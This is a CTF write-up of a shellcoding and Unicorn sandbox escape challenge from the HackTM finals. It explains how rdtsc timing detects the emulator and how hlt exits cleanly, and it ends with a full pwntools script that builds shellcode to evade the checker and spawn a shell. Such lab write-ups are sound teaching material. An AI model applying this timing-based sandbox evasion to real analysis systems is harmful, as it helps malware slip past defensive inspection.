cs2101
cs2101
is shellcoding / unicorn sandbox escape challenge I did during the HackTM finals.
What we have
The challenge is splitted into three file: the server, the unicorn callback based checker and the final C program that runs the shellcode without any restrictions. Let’s take a look at the server:
1 | #!/usr/bin/env python3 |
The server is asking for a shellcode encoded in base64, then it is checking some behaviours of the shellcode by running it into unicorn through the emulate
function and if it does not fail the shellcode is run by the emulate
C program. Now let’s take a quick look at the unicorn checker:
1 | #!/usr/bin/env python3 |
To succeed the check in the server our shellcode should match several conditions: first there should not be any syscalls / cpuid
instructions, then it should exit (and return allowed[0] === true) without triggering an exception not handled by unicorn (for example SIGSEGV
or an interrupt not handled like int 0x80
. And if it does so the shellcode is ran by this program:
1 |
|
If we succeed to run the shellcode within this program we could easily execute syscalls and then drop a shell.
Bypass the sandbox
The first step is to make our shellcode aware of the environment inside which it is running. A classic trick to achieve this is to use the rdtsc
instruction (technical spec here). According to the documentation, it:
Reads the current value of the processor’s time-stamp counter (a 64-bit MSR) into the EDX:EAX registers. The EDX register is loaded with the high-order 32 bits of the MSR and the EAX register is loaded with the low-order 32 bits. (On processors that support the Intel 64 architecture, the high-order 32 bits of each of RAX and RDX are cleared.)
Given within a debugger / emulator (depends on what is hooked actually, in an emulator it could be easily handled) the time between the execution of two instructions is very long we could check that the shellcode is ran casually by the C program without being hooked at each instruction (as it is the case in the unicorn sandbox) just by checking that the amount of time between two instructions is way shorter than in the sandbox. This way we can trigger a different code path in the shellcode according to the environment inside which it is run.
The second step is about being able to leave the sandbox without any syscalls with a handled exception that will not throw an error. By reading the unicorn source code for a while I saw a comment that talked about the hlt
instruction, then I tried to use it to shutdown the shellcode when it is run by the sandbox and it worked pretty good.
PROFIT
Putting it all together we manage to get the flag:
1 | [root@(none) chal]# nc 34.141.16.87 10000 |
Final exploit
Final epxloit:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# this exploit was generated via
# 1) pwntools
# 2) ctfmate
import os
import time
import pwn
BINARY = "emulate"
LIBC = "/usr/lib/libc.so.6"
LD = "/lib64/ld-linux-x86-64.so.2"
# Set up pwntools for the correct architecture
exe = pwn.context.binary = pwn.ELF(BINARY)
libc = pwn.ELF(LIBC)
ld = pwn.ELF(LD)
pwn.context.terminal = ["tmux", "splitw", "-h"]
pwn.context.delete_corefiles = True
pwn.context.rename_corefiles = False
p64 = pwn.p64
u64 = pwn.u64
p32 = pwn.p32
u32 = pwn.u32
p16 = pwn.p16
u16 = pwn.u16
p8 = pwn.p8
u8 = pwn.u8
host = pwn.args.HOST or '127.0.0.1'
port = int(pwn.args.PORT or 1337)
FILENAME = "shellcode"
def local(argv=["shellcode"], *a, **kw):
'''Execute the target binary locally'''
if pwn.args.GDB:
return pwn.gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return pwn.process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = pwn.connect(host, port)
if pwn.args.GDB:
pwn.gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if pwn.args.LOCAL:
return local(argv, *a, **kw)
else:
return remote(argv, *a, **kw)
gdbscript = '''
continue
'''.format(**locals())
import base64
def exp():
f = open("shellcode", "wb")
shellcode = pwn.asm(
"rdtsc\n"
"mov r8, rax\n"
"shl rdx, 32\n"
"or r8, rdx\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"rdtsc\n"
"mov r9, rax\n"
"shl rdx, 32\n"
"or r9, rdx\n"
"sub r9, r8\n"
"cmp r9, 0x100\n"
"jg sandbox\n"
"mov rax, 0x100006a\n"
"jmp rax\n"
"sandbox:\n"
"hlt\n"
)
map_stack = pwn.asm("mov rsp, 0x1000000\n")
map_stack += pwn.asm("add rsp, 0x500\n")
shell = pwn.asm(pwn.shellcraft.amd64.linux.sh())
print(shellcode + map_stack + shell)
print(base64.b64encode(shellcode + map_stack + shell))
f.write(shellcode + map_stack + shell)
if __name__ == "__main__":
exp()